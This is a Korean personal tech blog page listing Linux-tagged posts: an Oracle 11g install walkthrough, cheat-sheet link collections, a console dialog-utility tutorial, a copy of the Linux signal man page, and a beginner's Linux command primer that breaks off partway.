수안이의 컴퓨터 연구실

  • Mainpage
  • About Me
  • Tags
  • Metapage
  • Notice
  • Location
  • Keywords
  • Guestbook
  • Admin
  • Write an Article
  • Total | 1692325
  • Today | 469
  • Yesterday | 564

12 Articles, Search for 'Linux'

  1. 2008/05/21 Installing Oracle Database 11g on Linux
  2. 2008/05/03 Top 119 Cheat Sheets
  3. 2008/02/02 Cheat Sheet의 모든 것
  4. 2007/12/23 Dialog 유틸리티를 이용한 콘솔에서의 그래픽 표현
  5. 2007/07/18 Linux / Unix Command: signal
  6. 2007/07/11 리눅스 명령어 (6)
  7. 2007/07/06 Unix/Linux 해킹 피해 시스템 분석 절차
  8. 2007/06/09 Linux 에서 malloc 으로 할당된 memory 크기를 알수 있는 방법
  9. 2007/05/14 library 의 사용
  10. 2007/05/04 Linux 하드웨어 안정성 가이드, Part 2
Database/Oracle2008/05/21 16:48

Installing Oracle Database 11g on Linux

OTN Logo

Installing Oracle Database 11g on Linux

Purpose

In this tutorial, you learn how to install Oracle Database 11g on Linux.

Topics

This tutorial covers the following topics:

Overview
Installing Oracle Database 11g on Linux
Testing Your Installation
Summary

Installing Oracle Database 11g on Linux

To install the Oracle software, you must use the Oracle Universal installer.

1.

For this installation, you need either the DVDs or a downloaded version of the DVDs. In this tutorial, you install from the downloaded version. From the directory where the DVD files were unzipped, open a terminal window and enter the following:

./runInstaller.sh 


2.

The product you want to install is Oracle Database 11g. Make sure the product is selected and click Next.


2.

You will perform a basic installation with a starter database. Enter orcl for the Global Database Name and oracle for Database Password and Confirm Password. Then, click Next.


3.

You need to specify your Inventory directory. The location should be set to /u01/app/oracle/oraInventory. Accept the default Operating System group name, oinstall. Then, click Next.


4.

The installer now verifies that the system meets all the minimum requirements for installing and configuring the chosen product. Please correct any reported errors before continuing. When the check successfully completes, click Next.


5.

Oracle Configuration Manager allows you to associate your configuration information with your Metalink account. You can choose to enable it on this window. Then, click Next.


5.

Review the Summary window to verify what is to be installed. Then, click Install.


6.

The progress window appears.


7.

The Configuration Assistants window appears.


8.

Your database is now being created.


9.

When the database has been created, you can unlock the users you want to use. Click OK.


10.

You need to execute orainstRoot.sh and root.sh as the root user.


11.

Open a terminal window and enter the following commands. Follow the prompts as instructed.

su -
<rootpassword>
cd /u01/app/oracle/oraInventory
./orainstRoot.sh
cd ../product/11.1.0/db_1
./root.sh
exit
exit


12.

Switch back to the Universal Installer and click OK.


13.

Click Exit. Click Yes to confirm exit.


Testing Your Installation

To test that your installation completed successfully, perform the following steps:

1.

Open a browser and enter the following URL:

https://<hostname>:1158/em

where <hostname> should be changed to your machine name, IP address, or localhost.

Because Enterprise Manager Database Control is a secure site, you need a certificate. Select the Accept this certificate permanently option, and then click OK.

2.

Enter system as the User Name and oracle as the Password, and then click Login.

3.

The Database Control Home Page appears. Your installation was successful.

Summary

In this tutorial, you learned how to install and test the Oracle Database 11g installation on Linux.


"Oracle" 카테고리의 다른 글
  • 오라클 보안 세미나 (0)2008/06/17
  • Installing Oracle Database 11g on Linux (0)2008/05/21
  • Oracle Ports for Network Services (0)2008/05/19
  • Oracle Error Code (0)2008/05/19
2008/05/21 16:48 2008/05/21 16:48
Posted by webdizen
Tags Linux, Oracle
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3239

Leave your greetings.

[로그인][오픈아이디란?]

Programming2008/05/03 13:07

Top 119 Cheat Sheets

Site : http://webdeveloper.econsultant.com/

ActionScript

  • ActionScript3.0 - Top Level Classes
  • ActionScript3.0 - Packages

Ajax

  • What’s Ajax? Cheat Sheet
  • Prototype Cheat Sheet
  • Scriptaculous Combination Effects Cheat Sheet

Apache

  • Apache Cheat Sheet
  • Apache 1.3 Quick Reference Card - PDF

ASCII Character Codes

  • ASCII Codes Cheat Sheet
  • Character Entity References in HTML 4 and XHTML 1.0
  • HTML Character Entities Cheat Sheet - PNG
  • HTML Character Entities Cheat Sheet - PDF
  • Reference Special Characters
  • Special ASCII HTML Character Codes
  • XHTML Character Entity Reference

ASP

  • ASP / VBScript Cheat Sheet - PNG

Blogging

  • Blogger Cheatsheet - PDF
  • WordPress Cheatsheet - PDF
  • TypePad Cheatsheet - PDF
  • Movable Type Cheatsheet - PDF
  • MovableType

CSS

  • CSS level 1 - Quick Reference Card - PDF
  • CSS level 2 - Quick Reference Card - PDF
  • CSS Cheat Sheet - PDF
  • CSS Cheat Sheet - PNG
  • CSS Property Index
  • Cascading Style Cheatsheet
  • CSS Shorthand Guide
  • Quick Reference Guide for CSS2 - PDF

CVS

  • CVS Cheat Sheet
  • Subversion Quick Reference Card. PDF
  • CVS Cheat-sheet

Firefox

  • Mozilla Firefox Cheat Sheet
  • Mozilla Firefox Cheat Sheet - PDF
  • Keyboard Shortcuts

Google

  • Google Advanced Operators (Cheat Sheet)
  • Google Help : Cheat Sheet
  • Google Cheat Sheet - auch als PDF
  • Google Cheat Sheets - PDF
  • Google Cheat Sheet - PDF

htaccess

  • htaccess Cheatsheet

HTML/XHTML

  • A Simple Guide To HTML - Cheat Sheet
  • HTML Cheat Sheet
  • HTML Cheatsheet
  • HTML Entities
  • HTML Codes Cheat Sheet
  • XHTML
  • HTML Cheat Sheet
  • XHTML Cheat Sheet v. 1.03 - PDF
  • HTML DOM - Quick Reference Card - PDF
  • XHTML 1.0 frameset - Quick Reference Card - PDF
  • XHTML 1.0 strict - Quick Reference Card - PDF
  • XHTML 1.0 transitional - Quick Reference Card - PDF
  • XHTML Basic Reference - PDF
  • XHTML Reference - PDF
  • XHTML Cheat Sheet - PDF : at CSSTidy

Java

  • Java 1.5 Cheat Sheet
  • Java Quick Reference - PDF

JavaScript

  • JavaScript Cheat Sheet - PNG
  • JavaScript Cheat Sheet - PDF
  • JavaScript Reference
  • JavaScript Reference
  • JavaScript and Browser Objects Quick Reference

JSP

  • JSP 2.0 XML Cheat Sheet

LaTeX

  • Latex Cheat Sheet

mod_rewrite Cheat Sheet

  • mod_rewrite Cheat Sheet - PNG
  • mod_rewrite Cheat Sheet - PDF

MySQL

  • MySQL Cheat Sheet - PDF
  • MySQL Cheat Sheet - PNG
  • MySQL Cheat Sheet
  • SQL Cheatsheet
  • MySQL Quick Reference Card

Oracle

  • Oracle PL/SQL Cheatsheet

Perl

  • Perl Regular Expression -Quick Reference - PDF
  • Perl Cheat Sheet
  • Perl Cheat Sheet
  • Perl 5 Cheat Sheet
  • Perl Regexp Quick Reference Card - PDF

Photoshop

  • Photoshop 7.0 Quick Reference Card for Windows - PDF
  • Photoshop CS2 Keyboard Shortcuts (Windows) - PDF
  • Photoshop CS2 Keyboard Shortcuts (Macintosh) - PDF

PHP

  • PHP Cheat Sheet - PDF
  • PHP Cheat Sheet - PNG
  • PHP Cheat Sheet with special php syntax

Python

  • Python Cheat Sheet
  • Python Cheat Sheet - PDF
  • Python 2.2 Quick Reference

Ruby

  • Ruby on Rails Cheat Sheet - PNG
  • Ruby quick reference
  • Ruby Cheatsheet
  • Threadeds Ruby Cheat Sheet
  • Ruby on Rails - ActiveRecord Relationships Cheat Sheet
  • Ruby on Rails - Form Helpers Cheat Sheet
  • Ruby on Rails - What Goes Where? Cheat Sheet

Unix/Linux

  • GNU screen: quick_reference
  • LINUX Administrator’s Quick Reference Card - PDF
  • Linux Shortcuts and Commands
  • Unix Cheat Sheet
  • Treebeard’s Unix Cheat Sheet
  • Unix Command cheat sheet - common commands for the unix command line

XML Technologies

  • Fusebox 4.1 XML Cheat Sheet
  • XML TopicMaps 1.0 - Quick Reference Card - PDF
  • XML Quick References - PDF
  • XML Schema - Structures Quick Reference - PDF
  • XML Schema - Data Types Quick Reference - PDF
  • XSL FO Reference - PDF
  • VoiceXML Reference - PDF
  • MathML Reference - PDF
  • XML Schema 2001 Reference - PDF
  • XML Schema 2000/10 - PDF
  • XSLT Quick References - PDF
  • XSLT Quick Reference Card - PDF
  • XSLT Reference

Misc Topics

  • Mozilla Thunderbird Cheat Sheet
  • Mozilla Thunderbird Cheat Sheet - PDF
  • QuickSilver Cheat Sheet - PDF
  • Regular Expression Cheat Sheet (.NET)
  • Schematron Reference - PDF
  • Smarty Cheat Sheet for template designers
  • Textile Reference


"Programming" 카테고리의 다른 글
  • Top 119 Cheat Sheets (0)2008/05/03
  • Cheat Sheet의 모든 것 (0)2008/02/02
  • Visual Studio 2005 Shortcut Keys (0)2007/08/17
  • WinDbg 간단 사용법 (0)2007/08/16
  • WinDbg 사용법 (0)2007/08/16
2008/05/03 13:07 2008/05/03 13:07
Posted by webdizen
Tags ActionScript, Ajax, Apache, ASCII Character Codes, CSS, CVS, Google, HTML, Java, Javascript, JSP, LaTeX, Linux, MySQL, Oracle, Perl, Photoshop, PHP, Python, Ruby, Unix, XHTML, XML
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3229

Leave your greetings.

[로그인][오픈아이디란?]

Programming2008/02/02 21:33

Cheat Sheet의 모든 것

Actionscript
  • Quick reference/Cheatsheet for ActionScript 2.0
  • ActionScript 3.0 Cheatsheet - flash.display Package
  • ActionScript3.0 - Top Level Classes
  • ActionScript3.0 - Packages
  • Apollo Cheat Sheet (Apollo mx.controls & mx.core Cheatsheet, Apollo flash.display & flash.events Cheatsheet and Apollo flash.filesystem, flash.html & flash.system Cheatsheet)

Ajax

  • What’s Ajax? Cheat Sheet - PDF
  • Prototype Dissected - Cheat Sheet PNG
  • scriptaculous Combination Effects - Cheat Sheet - PDF

Apache

  • Apache Cheat Sheet
  • Apache 1.3 Quick Reference Card - free quick reference cards - PDF
  • htaccess Cheatsheet
  • mod_rewrite Cheat Sheet - PNG
  • mod_rewrite Cheat Sheet - PDF

ASCII Character Codes

  • ASCII Codes Cheat Sheet
  • Character Entity References in HTML 4 and XHTML 1.0
  • HTML Character Entities Cheat Sheet - PNG
  • HTML Character Entities Cheat Sheet - PDF
  • HTML special character reference
  • HTML - Special Entity Codes
  • Reference Special Characters
  • Special ASCII HTML Character Codes
  • XHTML Character Entity Reference

ASP

  • ASP / VBScript Cheat Sheet - PNG

C# and VB.NET

  • C# and VB.NET Comparison Cheat Sheet - PDF
  • Cheat Sheet - Casting in VB.NET and C#

CSS

  • CSS level 1 - Quick Reference Card - PDF
  • CSS level 2 - Quick Reference Card - PDF
  • CSS 2 - Quick Reference Guide - PDF
  • CSS Cheat Sheet - PDF
  • CSS Cheat Sheet - PNG
  • CSS Property Index
  • Cascading Style Cheatsheet
  • CSS Shorthand Guide

CVS

  • CVS Cheat Sheet
  • Subversion Quick Reference Card - PDF
  • CVS Cheat-sheet

C++

  • C++ Containers Cheat Sheet
  • C++ Quick Reference Sheet (Cheat Sheet) - PDF
  • How to Program in C++ - Language Summary

Django

  • Django Cheat Sheet
  • The Django Book

Firefox

  • Firefox Keyboard Shortcuts - PDF
  • Firefox Shortcuts Sheet
  • Mozilla Firefox Cheat Sheet
  • Mozilla Thunderbird Cheat Sheet
  • Keyboard Shortcuts

Google

  • Gmail Shortcuts (printable cheatsheet)
  • Google Advanced Operators (Cheat Sheet)
  • Google Cheat Sheet (Version 1.06) - PDF
  • Google Cheat Sheet - auch als PDF
  • Google Cheat Sheets - auch als PDF
  • Google Help : Cheat Sheet

HTML/XHTML

  • A Simple Guide To HTML - Cheat Sheet
  • HTML & XHTML Tag Quick Reference
  • HTML Cheat Sheet
  • HTML Cheatsheet
  • HTML Entities
  • HTML CODES CHEAT SHEET
  • XHTML
  • HTML Cheat Sheet
  • XHTML Cheat Sheet v. 1.03 - PDF
  • HTML DOM - Quick Reference Card - PDF
  • XHTML 1.0 frameset - Quick Reference Card - PDF
  • XHTML 1.0 strict - Quick Reference Card - PDF
  • XHTML 1.0 transitional - Quick Reference Card - PDF
  • XHTML Quick Reference Guide For XHTML 1.1

Java

  • Java 1.5 Cheat Sheet
  • Java Quick Reference - PDF
  • JSP Quick Reference Card
  • (JSPª) SYNTAX version 1.1
  • (JSP™) SYNTAX version 2.0

JavaScript

  • JavaScript Cheat Sheet - PNG
  • JavaScript Cheat Sheet - PDF
  • JavaScript Reference
  • JavaScript Reference
  • JavaScript and Browser Objects Quick Reference
  • Regular Expressions for JavaSript - free online quick reference

LaTeX

  • Latex cheat sheet
  • LATEX2″ Cheat Sheet
  • Latex 2e Cheat Sheet LaTeX 2e Brief Reference

Microformats

  • Microformats Cheat Sheet
  • Microformats Cheat Sheet

Misc

  • CHMOD Chart
  • Complete listing of common camera symbols.
  • The Unicode-Database
  • RGB Hex Colour Chart - PNG
  • Pretty Good PGP Reference Card
  • Search Engine Cheat Sheet
  • Quick Reference Cards
    Ada, C, C++, CSS, CVS, Delphi, DOC++, Html, Java, JSP, Perl, PHP, Linux, Unix, SQL, UML, XML

MySQL

  • MySQL Cheat Sheet
  • MySQL Cheat Sheet - PDF
  • MySQL Cheat Sheet - PNG
  • MySQL Cheat Sheet
  • SQL Cheatsheet
  • MySQL Quick Reference Card

Oracle

  • Oracle PL/SQL Cheatsheet
  • Oracle Cheat Sheet
  • Oracle Server 9i - Quick Reference Guide
  • Oracle SCM Installation Cheat Sheet

Perl

  • Perl Regular Expression -Quick Reference - PDF
  • Perl Cheat Sheet
  • Perl Cheat Sheet
  • Perl 5 Cheat Sheet
  • Perl Quick Reference - PDF
  • Perl Quick Reference Card - PDF
  • Perl Regexp Quick Reference Card - PDF

Photoshop/Gimp

  • Gimp Quick Reference Card v.1.0
  • Photoshop 7.0 Quick Reference Card for Windows - PDF
  • Photoshop CS2 Keyboard Shortcuts (Windows) - PDF
  • Photoshop CS2 Keyboard Shortcuts (Macintosh) - PDF

PHP

  • symfony PHP5 framework - Admin Generator cheat sheet - PDF
  • PHP Cheat Sheet - PDF
  • PHP Cheat Sheet - PNG
  • PHP Cheat Sheet with special php syntax
  • PHP PCRE Cheat Sheet
  • Regular Expressions Cheat Sheet - PNG
  • Smarty cheat sheet for template designers - PDF

Python

  • Python 101 cheat sheet
  • Python Cheat Sheet
  • Python Cheat Sheet - PDF
  • Python Quick Reference
  • Python 2.4 Quick Reference

Regular Expressions

  • Regular Expressions Cheat Sheet
  • Regular Expression Cheat Sheet (.NET)

Ruby

  • ActiveRecord Relationships - Ruby on Rails cheat sheet guide - PDF
  • Ruby Cheatsheet
  • RubyOnRails-Cheatsheet - PDF
  • Ruby on Rails Cheat Sheet - PNG
  • Ruby on Rails Cheat Sheet Collectors Edition
  • Ruby on Rails cheat sheet guide - PDF
  • Ruby quick reference
  • Ruby Cheatsheet
  • Threadeds Ruby Cheat Sheet
  • What Goes Where? - Ruby on Rails cheat sheet - PDF

Unix/Linux

  • LINUX Administrator’s Quick Reference Card - PDF
  • Linux Shortcuts and Commands
  • quick_reference [GNU screen]
  • Unix Cheat Sheet
  • The One Page Linux Manual - Version 3 - PDF
  • TCP Ports list (3498 ports in list)
  • Treebeard’s Unix Cheat Sheet
  • Unix command cheat sheet - common commands for the unix command line
  • Essential Vim keyboard shortcuts Cheat Sheet
  • VIM Quick Reference Card
  • VIM Quick Reference Card
  • Vim Commands Cheat Sheet

Weblog

  • Blogger Cheatsheet - PDF
  • Quick Reference Chart - ExpressionEngine Documentation - PDF
  • TypePad Cheatsheet - PDF
  • Movable Type Cheatsheet - PDF
  • MovableType
  • WordPress Cheatsheet - PDF
  • WP - WordPress Cheat Sheet für Theme Tags und Plugin-API - PDF

Windows

  • An A-Z Index of the Windows NT/XP command line
  • Graphical vi-vim Cheat Sheet and Tutorial
  • Power Point 2000 - Keyboard Shortcuts
  • POWERPOINT 2003 - Quick Reference Card
  • Quick Reference Card for Windows®
  • TCP Ports list (3498 ports in list)
  • Windows - Alt Key Numeric Codes
  • Windows XP Service Reference - PDF
  • XP Keyboard Shortcuts: version 2 - PDF

XML

  • Fusebox 4.1 XML Cheat Sheet
  • MathML Reference - PDF
  • VoiceXML Reference - PDF
  • XML TopicMaps 1.0 - Quick Reference Card - PDF
  • XML Quick References - PDF
  • XML Schema 2001: children - parents - PDF
  • XML Schema 2001: elements - attributes - PDF
  • XML Schema 2000/10 - PDF
  • XML Schema - Structures Quick Reference - PDF
  • XML Schema - Data Types Quick Reference - PDF
  • XSL FO Reference - PDF
  • XSLT Quick References - PDF
  • XSLT Quick Reference Card - PDF
  • XSLT Reference

출처 : http://www.smashingmagazine.com/2006/10 ··· -ruby%2F

"Programming" 카테고리의 다른 글
  • Top 119 Cheat Sheets (0)2008/05/03
  • Cheat Sheet의 모든 것 (0)2008/02/02
  • Visual Studio 2005 Shortcut Keys (0)2007/08/17
  • WinDbg 간단 사용법 (0)2007/08/16
  • WinDbg 사용법 (0)2007/08/16
2008/02/02 21:33 2008/02/02 21:33
Posted by webdizen
Tags ActionScript, Ajax, Apache, ASCII Character, ASPKeyword ASP, C#, C++Keyword C++, CSS, CVS, Django, Firefox, Gimp, Google, HTML, Java, Javascript, LaTeX, Linux, Microformats, Misc, MySQL, Oracle, Perl, Photoshop, PHP, Python, Regular Expressions, Ruby, Unix, VB.NET, Weblog, Windows, XHTML, XML
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3175

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Develop2007/12/23 00:12

Dialog 유틸리티를 이용한 콘솔에서의 그래픽 표현

리눅스를 사용하시고 있는 많은 사용자분들은 리눅스 콘솔에서 깔끔한 그래픽 표현을 보셨을 것이다.

바로 Dialog라는 유틸리티를 이용한 것이다. 다양한 매개변수와 옵션을 가지고 있는 하나의 프로그램이다.

간단한 예제를 통해서 사용방법을 살펴보도록 하자.

dialog --msgbox "Hello Dialog" 6 16

위와 같은 명령어를 콘솔에서 실행시키면 다음과 같은 화면을 볼 수 있다.

사용자 삽입 이미지

위 그림과 같이 정말 깔끔하게 표현되는 것을 볼 수 있다.


dialog 유틸리티에 다양한 옵션과 매개변수를 살펴 보도록 하자.

형식

옵션

매개변수

의미

체크 박스

--checklist

텍스트 높이 너비 목록-높이 [태그 텍스트 상태] …

항목의 목록을 표시한다. 각 항목들을 개별적으로 선택할 수 있다.

정보 상자

--infobox

텍스트 높이 너비

화면을 지우지 않고 즉각 반환하는 상자에 간단하게 표시한다.

입력 상자

--inputbox

텍스트 높이 너비 [초기 문자열]

사용자가 텍스트를 입력할 수 있다.

메뉴 상자

--menu

텍스트 높이 너비 메뉴-높이 [태그 항목] …

사용자가 목록으로부터 하나의 항목을 선택할 수 있다.

메시지 상자

--msgbox

텍스트 높이 너비

사용자에게 메시지를 표시한다. 사용자는 계속하고 싶을 때 OK 버튼을 누르면 된다.

라디오 상자

--radiolist

텍스트 높이 너비 목록-높이 [태그 텍스트 상태] …

사용자는 목록으로부터 한 가지를 선택할 수 있다.

텍스트 박스

--textbox

파일 이름 높이 너비

스크롤하는 상자 안에 파일을 표시할 수 있다.

예/아니오 상자

--yesno

텍스트 높이 너비

사용자에게 질문을 할 수 있다. 사용자는 Yes 혹은 No를 선택할 수 있다.


모든 dialog 형식은 몇 가지 옵션을 가지고 있다.

--title 옵션을 사용하면 상자의 제목을 지정하고, --clear 옵션을 사용하면 화면을 지울 수 있다.


다른 예제를 통해서 다양한 옵션과 매개변수를 사용해 보겠습니다.

dialog --title "Check Dialog" --checklist "Select Numbers" 14 26 3 1 "one" "off" 2 "two" "on" 3 "three" "off"

위와 같은 명령어를 콘솔에서 실행시키면 다음과 같은 화면을 볼 수 있다.

사용자 삽입 이미지

위 그림과 같이 --checklist 옵션을 사용해서 체크 박스를 표현할 수 있다.

--checklist 옵션의 매개변수를 살펴보면 다음과 같다.

텍스트 높이 너비 목록-높이 [태그 텍스트 상태] …

예제에 사용된 매개변수를 살펴보면 다음과 같다.

--checklist "Select Numbers" 14 26 3 1 "one" "off" 2 "two" "on" 3 "three" "off"

높이 : 14
너비 : 26
목록-높이 : 3
태그 텍스트 상태 : 1 "one" "off"
태그 텍스트 상태 : 2 "two" "on"
태그 텍스트 상태 : 3 "three" "off"

이렇게 쉽고 간단하게 콘솔에서 그래픽 표현이 가능한 dialog 유틸리티의 막강함을 볼 수 있다.


참고 도서 : Beginning Linux Programming 제3판

"Develop" 카테고리의 다른 글
  • 형식화된 입출력 – printf, fprintf, sprintf (0)2007/12/30
  • Dialog 유틸리티를 이용한 콘솔에서의 그래픽 표현 (0)2007/12/23
  • Vim에서 엉망이 된 소스 코드 자동으로 맞추기 (2)2007/11/27
  • A Simple Makefile Tutorial (0)2007/07/19
  • 세마포어의 사용 (0)2007/05/14
2007/12/23 00:12 2007/12/23 00:12
Posted by webdizen
Tags console, dialog, Linux
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3157

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/System2007/07/18 21:58

Linux / Unix Command: signal

출처 :http://linux.about.com/od/commands/l/blcmdl7_signal.htm

NAME

signal - list of available signals

DESCRIPTION

Linux supports both POSIX reliable signals (hereinafter "standard signals") and POSIX real-time signals.

Standard Signals

Linux supports the standard signals listed below. Several signal numbers are architecture dependent, as indicated in the "Value" column. (Where three values are given, the first one is usually valid for alpha and sparc, the middle one for i386, ppc and sh, and the last one for mips. A - denotes that a signal is absent on the corresponding architecture.)

The entries in the "Action" column of the table specify the default action for the signal, as follows:

Term
Default action is to terminate the process.
Ign
Default action is to ignore the signal.
Core
Default action is to terminate the process and dump core.
Stop
Default action is to stop the process.

First the signals described in the original POSIX.1 standard.

SignalValueActionComment







or death of controlling process
SIGINT 2TermInterrupt from keyboard
SIGQUIT 3CoreQuit from keyboard
SIGILL 4CoreIllegal Instruction
SIGABRT 6CoreAbort signal from abort(3)
SIGFPE 8CoreFloating point exception
SIGKILL 9TermKill signal
SIGSEGV11CoreInvalid memory reference
SIGPIPE13TermBroken pipe: write to pipe with no readers
SIGALRM14TermTimer signal from alarm(2)
SIGTERM15TermTermination signal
SIGUSR130,10,16TermUser-defined signal 1
SIGUSR231,12,17TermUser-defined signal 2
SIGCHLD20,17,18IgnChild stopped or terminated
SIGCONT19,18,25
Continue if stopped
SIGSTOP17,19,23StopStop process
SIGTSTP18,20,24StopStop typed at tty
SIGTTIN21,21,26Stoptty input for background process
SIGTTOU22,22,27Stoptty output for background process

The signals SIGKILL and SIGSTOP cannot be caught, blocked, or ignored.

Next the signals not in the POSIX.1 standard but described in SUSv2 and SUSv3 / POSIX 1003.1-2001.

SignalValueActionComment




SIGPOLL
TermPollable event (Sys V). Synonym of SIGIO
SIGPROF27,27,29TermProfiling timer expired
SIGSYS12,-,12CoreBad argument to routine (SVID)
SIGTRAP5CoreTrace/breakpoint trap
SIGURG16,23,21IgnUrgent condition on socket (4.2 BSD)
SIGVTALRM26,26,28TermVirtual alarm clock (4.2 BSD)
SIGXCPU24,24,30CoreCPU time limit exceeded (4.2 BSD)
SIGXFSZ25,25,31CoreFile size limit exceeded (4.2 BSD)

Up to and including Linux 2.2, the default behaviour for SIGSYS, SIGXCPU, SIGXFSZ, and (on architectures other than SPARC and MIPS) SIGBUS was to terminate the process (without a core dump). (On some other Unices the default action for SIGXCPU and SIGXFSZ is to terminate the process without a core dump.) Linux 2.4 conforms to the POSIX 1003.1-2001 requirements for these signals, terminating the process with a core dump.

Next various other signals.

SignalValueActionComment




SIGEMT7,-,7Term
SIGSTKFLT-,16,-TermStack fault on coprocessor (unused)
SIGIO23,29,22TermI/O now possible (4.2 BSD)
SIGCLD-,-,18IgnA synonym for SIGCHLD
SIGPWR29,30,19TermPower failure (System V)
SIGINFO29,-,-
A synonym for SIGPWR
SIGLOST-,-,-TermFile lock lost
SIGWINCH28,28,20IgnWindow resize signal (4.3 BSD, Sun)
SIGUNUSED-,31,-TermUnused signal (will be SIGSYS)

(Signal 29 is SIGINFO / SIGPWR on an alpha but SIGLOST on a sparc.)

SIGEMT is not specified in POSIX 1003.1-2001, but neverthless appears on most other Unices, where its default action is typically to terminate the process with a core dump.

SIGPWR (which is not specified in POSIX 1003.1-2001) is typically ignored by default on those other Unices where it appears.

SIGIO (which is not specified in POSIX 1003.1-2001) is ignored by default on several other Unices.

Real-time Signals

Linux supports real-time signals as originally defined in the POSIX.4 real-time extensions (and now included in POSIX 1003.1-2001). Linux supports 32 real-time signals, numbered from 32 (SIGRTMIN) to 63 (SIGRTMAX). (Programs should always refer to real-time signals using notation SIGRTMIN+n, since the range of real-time signal numbers varies across Unices.)

Unlike standard signals, real-time signals have no predefined meanings: the entire set of real-time signals can be used for application-defined purposes. (Note, however, that the LinuxThreads implementation uses the first three real-time signals.)

The default action for an unhandled real-time signal is to terminate the receiving process.

Real-time signals are distinguished by the following:

1.
Multiple instances of real-time signals can be queued. By contrast, if multiple instances of a standard signal are delivered while that signal is currently blocked, then only one instance is queued.
2.
If the signal is sent using sigqueue(2), an accompanying value (either an integer or a pointer) can be sent with the signal. If the receiving process establishes a handler for this signal using the SA_SIGACTION flag to sigaction(2) then it can obtain this data via the si_value field of the siginfo_t structure passed as the second argument to the handler. Furthermore, the si_pid and si_uid fields of this structure can be used to obtain the PID and real user ID of the process sending the signal.
3.
Real-time signals are delivered in a guaranteed order. Multiple real-time signals of the same type are delivered in the order they were sent. If different real-time signals are sent to a process, they are delivered starting with the lowest-numbered signal. (I.e., low-numbered signals have highest priority.)

If both standard and real-time signals are pending for a process, POSIX leaves it unspecified which is delivered first. Linux, like many other implementations, gives priority to standard signals in this case.

According to POSIX, an implementation should permit at least _POSIX_SIGQUEUE_MAX (32) real-time signals to be queued to a process. However, rather than placing a per-process limit, Linux imposes a system-wide limit on the number of queued real-time signals for all processes. This limit can be viewed (and with privilege) changed via the /proc/sys/kernel/rtsig-max file. A related file, /proc/sys/kernel/rtsig-max, can be used to find out how many real-time signals are currently queued.

CONFORMING TO

POSIX.1

SEE ALSO

kill(1), kill(2), setitimer(2), sigaction(2), signal(2), sigprocmask(2), sigqueue(2)
"System" 카테고리의 다른 글
  • ASCII Code의 CRLF 제거 방법 (0)2009/09/04
  • Linux / Unix Command: signal (0)2007/07/18
  • 시스템 관리자를 위한 기초 명령어 활용법 (0)2007/06/22
  • 프로세스정보 얻어오기 (0)2007/05/14
  • 여러 가지 설정으로 공격으로부터 시스템을 안전하... (0)2007/05/10
2007/07/18 21:58 2007/07/18 21:58
Posted by webdizen
Tags Linux, Signal, Unix
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/3080

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux2007/07/11 00:11

리눅스 명령어

출처 : http://www.mireene.com/webimg/linux_tip1.htm

■ 퍼미션(권한)이란?

Owner

Group

Other

Owner와 Group은 파일소유자자신과 자신이 속한그룹. Other은 제3자, 웹사이트 방문객은 제3자로 nobody로 취급.

r

w

x

r

w

x

r

w

x

r은 파일 읽기(4), w는 파일 쓰기(2), x는 파일 실행(1)

7

5

5

파일소유자는 그것을 읽고 쓰고 실행시킬 수 있지만, 제3자는 읽고 실행만 시킬 수 있다.

7

7

7

제3자도 쓰기 권한이 주어진다.

*.html  *.cgi, *.pl *.txt등의 파일은 업로드시 반드시 ascii로 하고 나머지 그림(*.gif *.jpg)이나 자바 애플릿(*.class), 실행파일(*.exe *.zip *.rar)등은 binary mode로 업로드 할 것.

■ 리눅스 기본명령어

명령어

사 용 법

login

사용자 인증과정

리눅스 시스템은 기본적으로 multi-user 개념에서 시작하였기 때문에 시스템을 이용하기 위해서는 반드시 로그인을 하여야 합니 다. 로그인은 PC 통신에서도 많이 사용되어져 왔기 때문에 그 개 념  설정에 그다지 어려움이 없을 것입니다. 흔히 말하는 ID를 입력하는 과정입니다. 

passwd

패스워드 변경

리눅스, 특히 인터넷의 세계에서는 일반 컴퓨팅 상황에 비하여 훨씬 해킹에 대한 위험이 높습니다. 패스워드는 완성된 단어 보다는 단어 중간에 숫자나 키보드의 ^, #, ' 등과 같은 쉽게 연상 할 수 없는 기호를 삽입하여 만들어 주는 것이 좋습니다

du

하드사용량 체크(chkdsk)

자신의 하드공간을 알려면
# du
특정 디렉토리의 사용량을 알려면
# du -s diretory_name

ls

파일 리스트 보기(dir)

F : 파일 유형을 나타내는 기호를 파일명 끝에 표시
   (디렉토리는 '/', 실행파일은 '*', 심볼릭 링크는 '@'가 나타남).
l  : 파일에 관한 상세 정보를 나타냅니다.
a : dot 파일(.access 등)을 포함한 모든 파일 표시.
t  : 파일이 생성된 시간별로 표시
C : 도스의 dir/w명령과 같 이 한줄에 여러개의 정보를 표시
R : 도스의 dir/s 명령과 같이 서브디렉토리 내용까지.

(예)
# ls -al  
# ls -aC
# ls -R

cd

디렉토리를 변경

# cd cgi-bin     : 하부 디렉토리인 cgi-bin으로 들어감.
# cd  ..             : 상위디렉토리로 이동
# cd 또는 cd ~  : 어느곳에서든지 자기 홈디렉토리로 바로 이동
# cd /webker     : 현재 작업중인 디렉토리의 하위나 상위 디렉토리가
                         아닌 다른 디렉토리(webker)로 이동하려면 /로
                         시작해서 경로이름을 입력하면 된다.

cp

화일 복사(copy)

# cp index.html index.old
    : index.html 화일을 index.old 란 이름으로 복사.

# cp /home/test/*.*  .
    : test 디렉토리내의 모든 화일을 현 디렉토리로 복사.

mv

파일이름(rename) / 위치(move)변경

# mv index.htm index.html
    : index.htm 화일을 index.html 로 이름 변경

$ mv file  ../main/new_file
    : 파일의 위치변경

mkdir

디렉토리 생성

# mkdir download  : download 디렉토리 생성

rm

화일삭제

# rm test.html : test.html 화일 삭제
# rm -r <디렉토리> : 디렉토리 전체를 삭제
# rm -i a.*
    : a로 시작하는 모든 파일을 일일이 삭제할 것인지 확인하면서 삭제

rmdir

디렉토리 삭제

# rmdir cgi-bin : cgi-bin 디렉토리 삭제

pwd

현재의 디렉토리 경로를 보여주기

pico

리눅스용 에디터

put

ftp 상태에서 화일 업로드

> put  guestbook.tar.gz

get

ftp 상태에서 화일 다운로드

> get  guestbook.tar.gz

mput 또는 mget

